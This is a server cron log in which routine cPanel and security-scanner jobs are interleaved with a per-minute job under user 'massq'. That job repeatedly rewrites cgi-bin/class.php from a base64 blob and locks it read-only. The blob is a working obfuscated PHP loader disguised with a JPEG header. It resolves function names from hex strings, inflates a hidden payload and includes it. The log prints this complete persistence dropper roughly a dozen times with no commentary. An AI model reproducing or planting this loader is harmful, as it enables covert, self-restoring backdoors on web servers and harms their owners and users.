Sep  4 13:15:01 server CROND[2015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:15:01 server CROND[2017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:15:01 server CROND[2020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:15:01 server CROND[2022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:15:01 server CROND[2023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:15:01 server CROND[2026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:15:01 server CROND[2024]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 13:15:01 server CROND[2027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:16:01 server CROND[3010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:16:01 server CROND[3011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:16:01 server CROND[3012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:17:01 server CROND[3430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:17:01 server CROND[3431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:17:01 server CROND[3433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:18:01 server CROND[3814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:18:01 server CROND[3815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:18:01 server CROND[3816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:19:01 server CROND[4195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:19:01 server CROND[4196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:19:01 server CROND[4197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:20:01 server CROND[4588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:20:01 server CROND[4589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:20:01 server CROND[4592]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:20:01 server CROND[4593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:20:01 server CROND[4595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:20:01 server CROND[4599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:20:01 server CROND[4594]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:20:01 server CROND[4596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:20:01 server CROND[4601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:21:01 server CROND[5545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:21:01 server CROND[5544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:21:01 server CROND[5546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:22:01 server CROND[5932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:22:01 server CROND[5933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:22:01 server CROND[5934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:23:01 server CROND[6322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:23:01 server CROND[6323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:23:01 server CROND[6324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:24:01 server CROND[6729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:24:01 server CROND[6730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:24:01 server CROND[6731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:25:01 server CROND[7160]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:25:01 server CROND[7164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:25:01 server CROND[7161]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:25:01 server CROND[7163]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:25:01 server CROND[7162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:25:01 server CROND[7167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:25:01 server CROND[7166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:26:01 server CROND[8062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:26:01 server CROND[8063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:26:01 server CROND[8064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
